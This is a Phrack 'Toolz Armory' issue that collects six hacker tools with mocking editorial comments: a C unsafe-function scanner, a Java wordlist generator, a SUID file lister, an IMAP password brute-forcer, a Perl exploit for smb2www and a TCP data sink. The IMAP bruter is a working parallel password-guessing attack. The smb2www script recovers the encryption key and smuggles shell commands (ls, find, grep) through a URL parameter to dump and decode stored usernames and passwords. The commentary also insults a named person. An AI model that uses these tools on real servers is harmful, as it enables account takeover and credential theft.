                            ==Phrack Inc.==

               Volume 0x0b, Issue 0x3f, Phile #0x04 of 0x0f

|=--------------------=[ T O O L Z   A R M O R Y ]=----------------------=|
|=-----------------------------------------------------------------------=|
|=-----=[ skyper's harddrive[ root@segfault.net:/cvs/0day# ls   ]=-------=|
|=---------=[ brought to you by elguapo 'the warez' gestapo ]=-----------=|


--[ Contents

  1 - mfp_chksrc.c
  2 - bruteWords.java
  3 - 0x333sfl.c
  4 - imap_bruter.c
  5 - smb2wwwdumper.pl
  6 - ACK_hole01.c




--[ 1 - mfp_chksrc.c

Author: m4rc3l0
Affliations: unknown
Comment: As you can tell by the many greetz, any program of this
	 magnitude requires a multitude of resources.

/* mfp_chksrc.c (c)oded by m4rc3l0 in 102003 *
 *					     *
 *  Baseado no srcsec.c feito por bob@dtors  *
 * Checa o source atras d funcoes bugadas do *
 * tipo(strcpy, gets, ...) entendes feosos ? *
 *					     *
 * Greetz: Julie(T AMO LINDA), BashX, akabr, *
 * eSc2, tuv8, habeas, brun3rz, r0ot, qwq,   *
 * acubidu, deadsckt, decodi(minha putana),  *
 * volfi, reignu, unistd, baalcefas, morfis, *
 * fingulino, sinner, japex, joshua, anjin,  *
 * #dnh #binaryrebels #linuxarena            *
 *                           AT BRasnet      *
 *                                           *
 * www.binaryrebels.cjb.net                  *
 * www.m4rc3l0rlz.hpg.ig.com.br              *
 *                                           *
 * Mail-eu: m4rc3l0rlz@yahoo.com.br          */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TAG "\x6d\x66\x70"
#define UND "\x5f"

#define MAX 100


void banner();

FILE *fp;

struct {
    int t;	// tipo, 0x1=BOF, 0x2=FMT
    char *strs; // Str Search
} listun[] = {
    {0x1, "gets"},     {0x1, "fgets"},   {0x1, "strcpy"},
    {0x1, "strcat"},   {0x1, "setenv"},  {0x1, "getenv"},
    {0x1, "scanf"},    {0x1, "sscanf"},  {0x1, "fscanf"},
    {0x2, "sprintf"},  {0x2, "fprintf"}, {0x2, "snprintf"}, 
    {0x2, "syslog"},   {0x2, "system"},  {0x2, "popen"}, 
    {0x2, "vsprintf"}, {0x2, "vsnprintf"},
};

int main(int argc, char *argv[]) {
    int fv=0; // Flag Verbose
    int x, afu;
    char bufi[100];
    char *arq = (char *)malloc(MAX * sizeof(char));
    
    if(argc!=2) { 
	banner(); 
	fprintf(stderr, "Usage: %s <file>\n", argv[0]);
	exit(-1);
    }
    strncpy(arq, argv[1], strlen(argv[1]));

    if((fp=fopen(arq, "r")) == NULL) { 
	fprintf(stderr, "Error opening file: %s\n", arq);
	exit(-1);
    }

    printf("File: %s\n\n", arq);
    
    fseek(fp, 0, SEEK_SET);
    
    do {
	afu = fscanf(fp, "%s\n", bufi);
	for(x=0; x<17; x++) {
	    if((strstr(bufi, listun[x].strs)) != NULL) {
	    if(listun[x].t == 1) {
		printf("%s():%db:BOF\n", listun[x].strs,
		(ftell(fp)) - strlen(listun[x].strs));  // Valor qse certo
	    }
	    else
		printf("%s():%db:FMT\n", listun[x].strs,
		(ftell(fp)) - strlen(listun[x].strs)); // Valor qse certo
	    }
	}
    } while (afu != EOF);
    
    fclose(fp);
    return(0);
}


void banner(void) {
    printf("%s%schksrc.c (c)oded by m4rc3l0\n", TAG, UND);
}




--[ 2 - bruteWords.java

Author: SiK
Affliations: @STAKE, NAMBLA
Comment: Perhaps we should start this incredible tool off with an
introduction from README.html:

                              Si Kay's Stuff

   These are some tools that I have written in the past. Due to where I
   was working I wasn't able to release any of them before. For the same
   reason these need to stay internal to @stake.

   They are mostly useful for pen. testing, but there's some nice code
   too so you might want to use it elsewhere.

   They all work on Linux; the later ones also work on OpenBSD. (I only
   started looking at OpenBSD fairly recently when I finally got pissed
   off with how bloated the Linux kernel was getting.)

   The top of the source files have instructions on how these tools work.
   They generally also have a Makefile for compiling them.

   Most things require libpcap and/or libnet.

   I have some other things too, mail me if you're interested.
   srk@stake.com

/*
 * bruteWords <max_length> [<allowed_chars>]
 *
 * Generate all possible combinations of the given set of characters from 1 character to <max_length>
 * Default set of characters is a-z, A-Z and 0-9
 *
 * SiK, 6/3/2001
 */

public class bruteWords
{
	static final String DEFAULT_CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

	public static void main(String[] args)
	{
		int max_len;
		String allowed;
		int nallowed;
		StringBuffer password;
		int[] charvals;
		boolean incdone, alldone;
		int len, c, inc;

		if(args.length != 1 && args.length != 2)
		{
			System.err.println("Syntax: bruteWords <max_length> [<allowed_chars>]");
			System.exit(1);
		}

		max_len = (new Integer(args[0])).intValue();

		allowed = (args.length == 1) ? DEFAULT_CHARS : args[1];

		nallowed = allowed.length();
		charvals = new int[max_len];
		password = new StringBuffer(max_len);

		for(len=1; len<=max_len; len++)
		{
			password.setLength(len);
			for(c=0; c<max_len; c++)
				charvals[c] = 0;
			alldone = false;
			while(!alldone)
			{
				for(c=0; c<len; c++)
					password.setCharAt(c, allowed.charAt(charvals[c]));
				System.out.println(password);
                        	inc = 0;
				incdone = false;
				do
				{
					charvals[inc] ++;
					if(charvals[inc] == nallowed)
					{
						charvals[inc] = 0;
						inc ++;
						alldone = (inc == len);
					}
					else
					{
						incdone = true;
					}
				}
				while(!incdone && !alldone);
			}
		}
	}
}




--[ 3 - 0x333sfl.c

Author: nsn
Affliations: 0x333 
Comment: who needs find / -perm ??
	 oh yeah, check for the race condition with sfl.log!!

/*
 *  0x333sfl => suid files list
 *
 *  simple tool for get a list of suided files
 *  it's watch in directory like /bin, /sbin etc
 *  where is possible found potential buffer overflow
 *
 *  coded by nsn
 *  www.0x333.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

 /* default log filename, can be changed with -l */
char *logfile = "sfl.log";

 /* dirs checked by default, add more stuff if you need */

char *dirs[]  = { "/bin",
                  "/sbin",
                  "/usr/bin",
                  "/usr/sbin",
                  "/usr/local/bin",
                  NULL
                };

void
list(void) {

   DIR *directory;
   struct dirent *info;
   struct stat perm;
   mode_t flags;
   FILE *logstream;
   int i, counter = 0;
   char path[50]={"\0"};
 
   if ((logstream = fopen(logfile,"w")))
   {

      for (i = 0; dirs[i] != NULL; ++i) {

         if ((directory = opendir(dirs[i]))) {

            printf("[*] Searching in %s:\n",dirs[i]);

            while ((info = readdir(directory))) {

                  snprintf(path,sizeof(path) - 1,"%s/%s",dirs[i],info->d_name);
                  stat(path,&perm);

                  if ((perm.st_mode & S_ISUID) || (perm.st_mode & S_ISGID))  {
                     printf("[*] Founded suided file: %s in %s\n", info->d_name
,dirs[i]);
                     fprintf(logstream,"[*] Founded suided file: %s in %s\n", i
nfo->d_name,dirs[i]);
                     ++counter;
                  }

            }
           closedir(directory);
         }
         else
            printf("[*] error in reading directory %s:\n",dirs[i]);
      }

      printf("\n[*] Scan completed, founded %d suided files, check in %s\n\n",c
ounter,logfile);
      fclose(logstream);
   }
   else
      printf("[FATAL] error on touching file %s",logfile);

}

void
usage (char *prg)
{
int i;

   fprintf (stdout, "\n [~] 0x333sfl => suid files list");
   fprintf (stdout, " [~]        coded by nsn ~ www.0x333.org        [~] \n\n")
;
   fprintf (stderr, " Usage: %s [ -l logfile ]\n\n", prg);
   fprintf (stderr, " \t-l \t name of file where log list (default: %s)\n",logf
ile);
   fprintf (stderr, " \t   \t directory where watch for sticky bit\n\n");
   fprintf (stderr, " \t   \t default dirs:\n");

   for (i = 0; dirs[i] != NULL; ++i)
      fprintf (stderr, " \t   \t %s:\n",dirs[i]);

}

int
main(int argc, char *argv[])
{
 int c;
    while(( c = getopt (argc, argv, "hd:l:")) != EOF)
    {
       switch(c)
       {
          case 'l' : logfile = optarg;break;
          case 'd' : printf("%s\n\n",optarg);break;
          case 'h' : usage(argv[0]);exit(-333);
          default  : usage(argv[0]);exit(-333);
       }
    }

    list();

}

/* EOF */




--[ 4 - imap_bruter.c

Author: skyper
Affliations: teso/hert/thc/w00w00
Comment: Who would have thought that that young boy from the 7350shower
	 video would have grown up to code something like this?

   /*
    *  IMAP  bruter. Coded this in a hurry. hydra was to slow (and sucked
   100% cpu).
    *  I  had  this  one running with 30 passwords / second (100 parallel
   connections)
    * against a single server and it did not even appear in top.
    *
    * Visit us -- your enemies already did.
    * http://www.thc.org - THE HACKERS CHOICE
    *
    * gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
    *
    * SSL support for dummies:
    * stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
    *
    * Example: (Brute 40 in parallel)
    * ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
    */
   #include <sys/time.h>
   #include <sys/types.h>
   #include <sys/socket.h>
   #include <netinet/in.h>
   #include <arpa/inet.h>
   #include <netdb.h>
   #include <stdio.h>
   #include <unistd.h>
   #include <fcntl.h>
   #include <time.h>
   #include <errno.h>
   #include <string.h>
   #include <stdlib.h>
   struct peer_str
   {
     char password[64];
     char buf[256];
     int sox;
     int read;
     char flags;
     time_t time;
   };
   #define FL_CONNECTED (0x01)
   #define FL_HEADERREAD (0x02)
   #define ERREXIT(a...) do { \
     fprintf(stderr, "%s:%d ", __func__, __LINE__); \
     fprintf(stderr, a); \
     exit(-1); \
   } while (0)
   static char g_flags;
   #define FL_FINISHED (0x04) /* wordlist finished */
   static unsigned short g_port;
   static unsigned int g_ip;
   static char *g_login;
   static unsigned int g_parallel;
   time_t time_now;
   static fd_set g_rfds, g_wfds;
   static unsigned int cracks;
   static char *g_passwd;
   static int n_peers;
   struct peer_str peers[1024];

   static unsigned int
   hostname(char *host)
   {
     struct hostent *he;
     int ip;
     if ( (ip = inet_addr(host)) != -1)
       return ip;
     if ( (he = gethostbyname(host)) == NULL)
       return -1;
     if (he->h_length != 4)
       return -1;
     return *(int *)he->h_addr;
   }
   int tcp_socket_connect(unsigned int ip, unsigned short port)
   {
     int fd;
     struct sockaddr_in addr;
     int i;
     if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
       return -1;
     memset(&addr, 0, sizeof addr);
     addr.sin_family = PF_INET;
     addr.sin_addr.s_addr = ip;
     addr.sin_port = port;
     if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
     {
       close(fd);
       return -1;
     }
     i = i;
     setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
     fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
     return fd;
   }
   static void
   usage(void)
   {
     fprintf(stderr, ""
   "imap-bruter [rlpn]\n"
   "Options:\n"
   " -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
   " -p <port> - Port imapd runs on. [default: 143]\n"
   " -l <login name> - Login name\n"
   " -n <parallel> - Number of parallel connections.\n"
   "Passwords  are  read  from  stdin. Stunnel can be used if IMAPS is in
   place.\n"
   "");
     exit(0);
   }
   static void
   do_getopt(int argc, char *argv[])
   {
     int c;
     g_port = 143;
     g_parallel = 5;
     while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
     {
       switch (c)
       {
       case 'r':
         g_ip = hostname(optarg);
         break;
       case 'l':
         g_login = strdup(optarg);
         break;
       case 'p':
         g_port = atoi(optarg);
         break;
       case 'n':
         g_parallel = atoi(optarg);
         break;
       default:
         usage();
         break;
       }
     }
     if (g_ip == -1)
     {
       fprintf(stderr, "Unknown host!\n");
       usage();
     }
     if (!g_login)
       usage();
     if (g_parallel <= 0)
       usage();
   }
   static void
   peer_clear(struct peer_str *p)
   {
     if (p->sox >= 0)
       close(p->sox);
     p->sox = -1;
     p->read = 0;
     p->flags = 0;
     /* Keep 'password' as it has not yet been processed */
     n_peers--;
   }
   static int
   do_readpwd(struct peer_str *p)
   {
     char *ptr;
     if (g_flags & FL_FINISHED)
       return -1;
     cracks++;
     memset(p->password, 0, sizeof p->password);
     if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
       return -1;
     g_passwd = p->password;
     ptr = strchr(p->password, '\n');
     if (ptr)
       *ptr = '\0';
     return 0;
   }
   /*
    * Socket ready for reading. Read line.
    */
   void
   do_read(struct peer_str *p)
   {
     ssize_t n;
     char *ptr;
     char buf[1024];
     n = read(p->sox, p->buf + p->read, sizeof p->buf - p->read - 1);
     if (n <= 0)
       goto err;
     p->read += n;
     if (p->read + 1 >= sizeof p->buf)
       goto err;
     p->buf[p->read] = '\0';
     ptr = strchr(p->buf, '\n');
     if (!ptr)
       return;
     p->time = time_now;
     if (p->flags & FL_HEADERREAD)
     {
       if (strstr(p->buf, " NO") == NULL)
       {
         printf("FOUND '%s'\n", p->password);
         exit(0);
       }
       if (do_readpwd(p) != 0)
       {
         g_flags |= FL_FINISHED;
         goto err;
       }
     } else {
       p->flags |= FL_HEADERREAD;
       if (p->password[0] == '\0')
       {
         if (do_readpwd(p) != 0)
         {
           g_flags |= FL_FINISHED;
           goto err;
         }
       }
     }
     snprintf(buf,  sizeof  buf,  "1  login  \"%.100s\"  \"%.100s\"\r\n",
   g_login, p->password);
     n = strlen(buf);
     if (write(p->sox, buf, n) != n)
     {
       /* Write should not fail. Linux kernel always has 1024 write
        * buffer for us.
        */
        goto err;
     }
     return;
   err:
     peer_clear(p);
   }
   static void
   peer_init(struct peer_str *p)
   {
     p->sox = -1;
     p->read = 0;
   }
   int
   main(int argc, char *argv[])
   {
     struct timeval tv;
     int conn;
     int maxfd;
     struct peer_str *p;
     int i, n;
     int ret;
     socklen_t len;
     time_t time_last, time_start;
     unsigned int hours, min, sec;
     unsigned int old_cracks = 0;
     double cs;
     g_passwd = "<waiting...>";
     do_getopt(argc, argv);
     time_now = time(NULL);
     time_start = time_now;
     time_last = time_now;
     printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
     for (i = 0; i < g_parallel; i++)
       peer_init(&peers[i]);
     while (1)
     {
       tv.tv_sec = 1;
       tv.tv_usec = 0;
       FD_ZERO(&g_rfds);
       FD_ZERO(&g_wfds);
       conn = 0;
       maxfd = 0;
       for (i = 0; i < g_parallel; i++)
       {
         if (peers[i].sox >= 0)
         {
           if (peers[i].flags & FL_CONNECTED)
             FD_SET(peers[i].sox, &g_rfds);
           else
             FD_SET(peers[i].sox, &g_wfds);
         } else if ((conn < 5) && (!(g_flags & FL_FINISHED))) {
           peers[i].time = time_now;
           peers[i].sox = tcp_socket_connect(g_ip, htons(g_port));
           if (peers[i].sox >= 0)
             FD_SET(peers[i].sox, &g_wfds);
           conn++;
         }
         if (peers[i].sox > maxfd)
           maxfd = peers[i].sox;
       }
       if (maxfd == 0)
       {
         fprintf(stderr,  "Finished  %u cracks after %lu sec.\n", cracks,
   time_now - time_start);
         exit(0);
       }
       n = select(maxfd + 1, &g_rfds, &g_wfds, NULL, &tv);
       time_now = time(NULL);
       if ((time_last < time_now) && (old_cracks != cracks))
       {
         sec = time_now - time_start;
         hours = sec / 3600;
         min = (sec - hours * 3600) / 60;
         sec = sec % 60;
         cs = ((float)cracks) / ((float)(time_now - time_start));
         fprintf(stderr,  "[%u:%02u:%02u]  total:  %d with %d peers: '%s'
   (%1.03f c/s)\n", hours, min, sec, cracks, n_peers, g_passwd, cs);
         time_last = time_now;
         old_cracks = cracks;
       }
       for (i = 0; i < g_parallel; i++)
       {
         p = &peers[i];
         if (p->sox < 0)
           continue;
         if (p->time + 30 < time_now)
         {
           fprintf(stderr, "TIMEOUT on socket...\n");
           peer_clear(p);
           continue;
         }
         if (FD_ISSET(p->sox, &g_wfds))
         {
           len = sizeof ret;
           ret = 0;
           if  ((getsockopt(p->sox,  SOL_SOCKET, SO_ERROR, &ret, &len) !=
   0) || (ret != 0))
             peer_clear(p);
           else {
             p->flags |= FL_CONNECTED;
             n_peers++;
           }
         } else if (FD_ISSET(p->sox, &g_rfds)) {
           do_read(p);
         }
       } /* for through all peers.. */
     }
   }




--[ 5 - smb2wwwdumper.pl

Author: Andrew Danforth
Affliations: @STAKE
Comment: There isn't anything particularly funny or interesting about
         this code, but it's always funny to dump 'proprietary'
         corporate files and this doesn't do anything useful....

#!/usr/bin/perl -w
#
# smb2www key enumerator
#    now with mad username and password dumping skills!
#
# Andrew Danforth <acd@atstake.com>, 2001
#
# assumes a key length of 8 characters or more.  during installation, smb2www
# generates and installs a 25 character key.

use LWP::Simple;
use MIME::Base64;
use strict;

my $SMBDIR_PATH = "http://webserver.com/samba/smbdir.pl";
my $SMBFILE_PATH = "http://webserver.com/samba/smbfile.pl";
my $AUTH_LENGTH = 128;
my $KEY_LENGTH = 8; # change if you think the key is < 8 chars

my $key;

sub get_key {
   my $a = 'a' x $AUTH_LENGTH;
   my $auth = get("$SMBDIR_PATH?user=$a&pass=$a") || die "web get failed";
   die "couldn't find auth paramenter" unless ($auth =~ /auth=([\w\n,\.]+=+)/);
   $auth = $1;
   $auth =~ s/\n//g;
   $auth =~ tr#,#+#; $auth =~ tr#.#/#;
   my $xor = (decode_base64($auth) ^ "$a:$a");
   foreach ($KEY_LENGTH .. $AUTH_LENGTH) {
      if (substr($xor, 0, $_) eq substr($xor, $_, $_)) {
         $key = substr($xor, 0, $_);
         print "key is: ", $key, "\n";
         return;
      }
   }
   die "couldn't determine key length, try increasing \$AUTH_LENGTH";
}

sub ls_dir {
   my $dir = shift;
   my $ls = '/a/a/0/a/a.url?user=%7cls%20'.$dir.'%20%23';
   my $r = get("$SMBFILE_PATH$ls");
   return(map {"$dir/$_"} split(/\n/, $r));
}

sub find_logs {
   my $find = '/a/a/0/a/a.url?user=%7cfind%20/%20-name%20%22%2aaccess%3flog%2a%22%20-print%20%23';
   my $r = get("$SMBFILE_PATH$find");
   my (@files) = split(/\n/, $r);
   my %dirs;
   foreach(@files) {
      (my $f = $_) =~ s@/[^/]+$@@;
      $dirs{$f} = 1;
   }
   foreach (keys(%dirs)) { @files = (@files, ls_dir($_)); }
   return @files;
}

sub grep_for_samba_hits {
   my $file = shift;
   my $grep = '/a/a/0/a/a.url?user=%7cgrep%20/samba%20'.$file.'%20%23';
   my $r = get("$SMBFILE_PATH$grep");
   return split(/\n/, $r);
}

sub decode_auth {
   my $line = shift;
   return unless ($line =~ /auth=([\w\n,\.]+=+)/);
   my $auth = $1;
   $auth =~ s/\n//g;
   $auth =~ tr#,#+#; $auth =~ tr#.#/#;
   my $dec = decode_base64($auth);
   my $d = $dec ^ substr($key x (length($dec) / length($key) + 1), 0, length($dec));
   print "decoded: $d\n";
}

get_key;
my @logs = find_logs;
foreach(@logs) {
   print "found log: $_\n";
   my @lines = grep_for_samba_hits($_);
   foreach(@lines) { decode_auth($_); }
}




--[ 6 - ACK_hole01.c

Author: John Sage
Affliations: full-disclosure
Comment: If you already saw this moron's post on full-disclosure, then
         we apologize for being anti-climactic, but if you haven't,
         you're in for a big treat. This stupid sack of shit actually
         had the audacity to poke fun at somebody else, after
         authoring this flaming piece of kaka, also known as
         "THE ACK HOLE."  Note the number of revisions necessary to
         bring this incredible piece of programming art to where it
         is today. Jesus, I could go on all day about this. My biggest
         regrets through all of this are that:
         a). glibc doesn't ship with "unp.h"
         b). this didn't have EINTR error handling when it first came out

/* ACK_hole01.c - Sun Aug 11 13:00:54 PDT 2002
 * John Sage - jsage@finchhaven.com
 *
 * A first attempt at a TCP/IP network data sink
 *   along the lines of trafficrcv.c - see:
 *   http://www.psc.edu/~web100/pathprobe/
 *
 * Now based upon WR Stevens tcpserv04.c
 *   "UNIX Network Programming", p.128
 *   modified to do nothing with packets received
 *
 * Version 0.0.4 - add EINTR error handling - Sun Aug 11 13:00:54 PDT 2002
 * Version 0.0.3 - add syslog logging - Sun Aug 11 07:13:38 PDT 2002
 * Version 0.0.2
 *   It works; not sure what all of it does :-/
 *   but it works: no zombies, no local ports
 *   left hanging in CLOSE_WAIT as with trafficrcv.c
 *
 */

#include "unp.h"
#include "error.c"

#ifndef RCVBUFF
#define RCVBUFF (1024 * 1024)
#endif

/* USAGE */

static void
usage(char name[])
{
  fprintf(stdout, "Usage: %s [-p port]\n",name);
}

/* SIGCHLD zombie killer, from UNP p.128 */

void
sig_chld(int signo)
{
  pid_t pid;
  int   stat;
  while ( (pid = waitpid(-1, &stat, WNOHANG)) > 0 )
    fprintf(stdout, "Child %d terminated in sig_chld, zombie killed!\n", pid);
  return;
}

/* MAIN */

int
main(int argc, char **argv)
{
  char      c;
  char      *databuf;
  char      message[256];
  int       bytes;
  int       errflg = 0;
  int       i;
  int       listenfd, connfd;
  int       port;
  long      connaddr;
  pid_t     childpid;
  socklen_t clilen;
  struct    sockaddr_in cliaddr, servaddr;

  while ((c = getopt (argc, argv, "?p:")) != -1) {
    switch (c) {
    case '?':
      errflg++;
    case 'p':
      port = atoi(optarg);
      break;
    default:
      errflg++;
      break;
    }
  }

  if (errflg) {
    usage(argv[0]);
    exit (2);
  }

  fprintf(stdout, "\nACK_hole is listening on port %d!\n", port);

/* SOCKET */

  listenfd = socket(AF_INET, SOCK_STREAM, 0);

  bzero(&servaddr, sizeof(servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
  servaddr.sin_port = htons(port);

/* BIND */

  if (bind(listenfd, (SA *) &servaddr, sizeof(servaddr)) == -1) {
    perror("BIND failed");
    exit(-1);
  }
/* Allocate receive data buffer */

  if ((databuf = malloc(RCVBUFF)) == NULL) {
      fprintf(stdout, "malloc of data buffer failed!\n");
      exit(-1);
  }

/* LISTEN */

  listen(listenfd, LISTENQ);

  for ( ; ; ) {
    clilen = sizeof(cliaddr);

/* ACCEPT with EINTR handling */

    if ( (connfd = accept(listenfd, (SA *) &cliaddr, &clilen)) < 0) {
      if (errno ==EINTR)
        continue; /* back to for ( ; ; ) */
      else
        err_sys("accept error");
    }

    printf("CONNECT received from: ");
    connaddr = cliaddr.sin_addr.s_addr;
    for (i = 0; i < 4; i++) {
      printf("%d.", connaddr & 0xff);
      connaddr = connaddr >> 8;
    }
    printf("%d,", ntohs(cliaddr.sin_port));
    printf(" to local port %d!\n", ntohs(servaddr.sin_port));

    /* log to syslog, too.. */

    sprintf(message, "Connection from remote host %s:%d to local port %d",
            inet_ntoa(cliaddr.sin_addr),
            ntohs(cliaddr.sin_port),
            ntohs(servaddr.sin_port));
    syslog(LOG_INFO, message);

/* SIGCHLD */
    signal(SIGCHLD, sig_chld);

/* FORK */

    if ( (childpid = fork()) == 0 ) {
      close(listenfd);

/* READ */

      read(connfd, databuf, bytes);
      /* do nothing */
      exit(0);
    }

/* CLOSE */

    close(connfd);

  } /* end for ( ; ; ) */

} /* end main */

 

|=[ EOF ]=---------------------------------------------------------------=|
